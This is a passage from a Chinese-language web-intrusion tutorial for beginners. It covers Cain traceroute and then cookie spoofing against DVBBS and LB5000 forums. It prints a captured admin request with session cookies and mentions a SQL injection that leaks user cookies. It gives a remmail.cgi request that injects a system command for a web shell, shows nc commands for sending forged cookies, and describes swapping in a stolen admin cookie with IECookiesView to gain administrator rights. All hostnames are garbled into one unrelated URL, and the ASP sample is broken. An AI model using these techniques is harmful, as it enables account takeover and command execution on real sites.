可以对密文进行 md2,md5,lm,nt 等方式进行加密. 五,追踪路由切换到"追踪路由"标签,在目标主机中填入目标主机的 ip 或者域名,我这填 https://www.wendangku.net/doc/8d2971671.html,
选择协议和端口,点"开始",一杯咖啡过后,就可以清晰的看到访问黑 X服务器 IP,访问所需的时间和主机名.
BBS 所经过的所有
另外,Cain 还具有"LSA 分析"和"嗅探无线网络"等功能,这些功能我们不经常用到,感兴趣 的朋友可以自行研究.最新版本 cain4.92 已经加入 vista 支持,但是"读取读取缓存密码"功 能不是很稳定,如果要读取读取缓存密码的话请使用以前的版本..
2.cookie欺骗
现在有很多社区网为了方便网友浏览,都使用了cookie技术以避免多次输入密码(就如the9和vr),所以只要对服务器递交给用户的cookie进行改写就可以达到欺骗服务程序的目的。
最近网上流行web脚本入侵。常用的入侵方法有两个,一个是Sql Injection(是一个描述将SQL代码传递到一个并不被开发人员所想要的应用程序中去的专业术语),另一个就是利用web脚本中对cookie变量过滤不严来入侵。那么什么是cookie呢?简单的说就是Web页服务器用来记录你的信息, 置于您硬盘上的一个非常小的文本文件。具体点说如果是98那么它们默认存放在drive:\windows\cookies目录下,如果是2k它们在drive:\Documents andSettings\%你的用户名%\Cookies目录下(每个文件都不会超过4KB)。它们的文件名格式为:你的用户名@产生的COOKIE的网页文件所在的WEB目录[COOKIE改变的次数].txt。具体的例子就像这个文件:iwam_system@cookie[3].txt。这里我只谈与cookie有关的三个入侵工具。
一个是cookie的嗅探工具。网友PsKey最近写了一篇<<动网论坛(DVBBS)存在严重漏洞>>的文章。文章大意是由https://www.wendangku.net/doc/8d2971671.html,开发和维护的源代码开放的DVBBS6.0论坛由于其tongji.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击。在dbvvs6.o的sql版可以直接在服务器主机上添加管理员用户,在dbvvs6.o的acess版提交特殊url可以得到论坛里所有用户的cookie数据,进而威胁论坛或服务器安全。原文你可以在安全焦点网站( http:

//https://www.wendangku.net/doc/8d2971671.html, )看到。
文章里有一段写到"看看管理员操作论坛时到底需要些什么,举个例子,删帖子的时候:
POST /asp/dvbbs/admin_postings.asp?action=delet HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*
Referer: https://www.wendangku.net/doc/8d2971671.html,/asp/dvbbs/admin_postings.asp?action= 删除主题&BoardID=2&ID=2
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)
Host: https://www.wendangku.net/doc/8d2971671.html,
Content-Length: 124
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: aspsky=userhidden=2&password=18e071ccfb2d1c99&userid=1&userclass=%B9%DC%C0%ED%D4%B1&username=admin&usercookies=0; iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDAASCSCDC=IPKLMGFAKFJLMOLNMMEMFDGC; upNum=0 title=%B9%E0%CB%AE&content=&doWealth=-7&douserCP=-5&douserEP=-5&id=2&replyid=&boardid=2&msg=&submit=%C8%B7%C8%CF%B2%D9%D7%F7 "
这些数据就是管理员在删贴子的时与动网主机的通讯数据。很多菜鸟看到这里就不明白了,pskey是如何得到这些数据的呢?特别是最后一大段的cookie数据是怎样探测到的?pskey用的什么工具我不得而知,但我介绍的WinSock Expert这个小工具也可以邦我们探测到这些数据。它是国人董雪强编写的一个用来监视和修改网络发送和接收数据的程序,但遗憾的却是一个英文版本。不过使用方法是很简单的。举个例子,我来登陆我在本机上架设的动网论坛我选择的是cookie保存一天,看看WinSock Expert会嗅探到什么数据呢?此时打开WinSock Expert
点打开图标在弹出窗口的菜单里找到动网的登陆页面
点ope进行监听。然后我登陆动网论坛,登陆完毕后,再看看WinSock Expert帮我在本机接收到那些cookie数据呢?
看到了没有,我们接收到了和pskey在文章中提到的类似数据,里边包含了cookie的各项值。当然用这个工具,你不但可以监听发送和接收的cookie,还可以用来帮助您调试网络应用程序,分析网络程序的通信协议(如分析OICQ的发送接收数据),并且在必要的时候能够修改发送的数据。这些功能在软件的帮助里都有简单说明。
第二个是cookie的发送工具。还是先看网友pskey的一篇<>文章吧。原文你也可以安全焦点看到。文章提到LB是一款由https://www.wendangku.net/doc/8d2971671.html,开发和维护的源代码开放的cgi论坛;由于remmail.cgi存在认证和过滤不严漏洞,可能导致非法用户控制论坛或以web权限在系统上执行任意命令。攻击方法:如果对方w2k系统采用的是"perl.exe %s %s"映射方式很容易搞定,发送如下求就可以了得到一个网页s

hell了:
GET /perl/lb5000mx/cgi-bin/remmail.cgi?member=system%20%40ARGV HTTP/1.1
Host: https://www.wendangku.net/doc/8d2971671.html,
Cookie: amembernamecookie=system%20%40ARGV
 菜鸟又不明白了,这些数据我如何发送呢?一开始我也不会,还用vb编写了一个小软件来发送这些数据。后来在几个论坛上问了高手,学到了一个cookie的发送方法。工具就是用瑞士军刀nc.exe,方法是依次提交以下几行类似的数据:
nc -vv https://www.wendangku.net/doc/8d2971671.html,80
get /xxx/xxx.cgi?xxx=xxx HTTP/1.1
host:https://www.wendangku.net/doc/8d2971671.html,
cookie:xxxxx=xxxxx
看我在本机做的实验,图5这是用nc提交cookie的方法。
第三个cookie的管理工具,iecookiesview。看名字就明白它是用来做什么的吧。先看一下我用记事本打开刚才本机登陆动网论坛留下的cookie文件,它是放在我硬盘c:\Documents and Settings\administrator\Cookies目录下,文件名是administrator@dvbbs6[1].txt,内容如下:
aspsky userid=1&usercookies=1&userhidden=2&password=469e80d32c0559f8&userclass=%B9%DC%C0%ED%D4%B1&username=admin 192.168.1.3/asp/dvbbs6/0 1896775680 29244795 3943711152 29244638 *
啊,这样好多地方看不明白,还有一些乱码。我们用iecookiesview打开来看看。
我们很清楚看到这个动网产生的cookie的各项值的意思了。key是cookie的关键字,value是cookie的值,domain是cookie来的网域,expire是cookie的过效期,modified是cookie的产生时间(:-)不好意思,我的电时间都是1999年),secure是安全的意思,它的值一般都是no。通过这个工具,我们可以清清楚楚知道这些cookie的表示意思了,并且它还自动将汉字产生的url编码cookie又转换成了汉字。上边用记事本打开看到的乱码%B9%DC%C0%ED%D4%B1,现在我们明白了它就是三个汉字管理员。
iecookiesview最大的一个好处是可以轻松修改cookie,因为我们可以看的懂。像某个动网论坛你无论是利用pskey提到的漏洞,还中利用跨站或其它的手段,得到管理员的cookie了。然后你可以先用普通用户登陆论坛在本机产生一个cookie,再打开iecookiesview编辑你的普通用户的cookie用管理员的各项cookie值对应修改普通用户各项cookie值后,点modify cookies就可以变成管理员的cookie了。此时你再打开ie重新登陆该动网论坛,你就会变成该论坛管理员。
 下边,我再用这nc.exe和WinSock Expert这两个工具简单的来进行一次cookie欺骗操作演示,进一步说明我介绍的cookie三剑客工具的用法。我这儿写了一个简单的asp脚本level.asp,源码和源码简单说明如下:
<%response.write now()%>
<%response.write"
"%>
<%response.write""%>
'说明:以上代码产生level.asp这个网页的cookie值
<% if Request.Cookies("level")<>"" then
response.write "

ml>"
if request.cookies("level")="user" then
response.write ""
'说明:如果cookie的变量level值为user的话,弹出对话框you are a user
else
if request.cookies("level")="admin" then
response.write ""
set fso1=server.createobject("scripting.filesystemobject")
set fil=fso1.opentextfile(server.mappath("lcx.txt"),8,true)
fil.writeline "you are admin!"
'说明:如果cookie的变量level值为admin的话,弹出对话框you are administrator!并在level.asp同目录下生成lcx.txt,内容是you are admin!
end if
end if
else
response.write "" end if%>
'说明:如果cookie的变量level没有收到这user和admin的值,那么弹出对话框你没有cookie值
现在我们执行level.asp,cookie的变量levelua并没有收到这user和admin的值,看看会发生什么如果我们将 <%response.cookies("level")="user"%>这行代码的插的第三行后,再次运行这个level.asp脚本的时候,它会自动产生cookie的变量level值设为user,看结果 我们抓得下列cookie数据: cookie:iscookies=0; BoardList=BoardID=Show; level=user; ASPSESSIONIDQGGGQSLC=NOIBEOPACLBOJFLGFLEDICNHiscookies=0; BoardList=BoardID=Show; level=user; ASPSESSIONIDQGGGQSLC=NOIBEOPACLBOJFLGFLEDICNH 现在我们要做的就是欺骗level.asp,让它以为我们提交cookie的值为admin,这样会在level.asp同目录下生成lcx.txt。分析源代码得知,只要我们提交cookie的变量level值为admin,就可以达到我们想要的结果了。我们将WinSock Expert抓的数据改一下,改成: cookie:iscookies=0; BoardList=BoardID=Show; level=admin; 注意改成admin了 ASPSESSIONIDQGGGQSLC=NOIBEOPACLBOJFLGFLEDICNHiscookies=0; BoardList=BoardID=Show; level=admin;注意改成admin了 ASPSESSIONIDQGGGQSLC=NOIBEOPACLBOJFLGFLEDICNH 现在我们用nc来提交cookie值,骗过level.asp.图12.jpg。 仔细看图11,最下边有一行alert('you are administrator'),这说明,我们成功了。果然在level.asp同目录下生成了lcx.txt,内容是youare admin! 这三个COOKIE小工具,我只介绍到这儿了。如果你能够熟练运用,我相信肯定会对你入侵web脚本有一定的帮助。另外,需要说明的是本文写作中引用了网友pskey的部份文章,cookie欺骗部份参考了网友czy的cookie欺骗教程。在此表示感谢。 -----------------------终于写完了,由于写的匆忙,错误肯定很多,同时也引用很多资料,这篇文章很基础,适合新手,如果认为哪里不对,就是我在吹牛逼





相关文档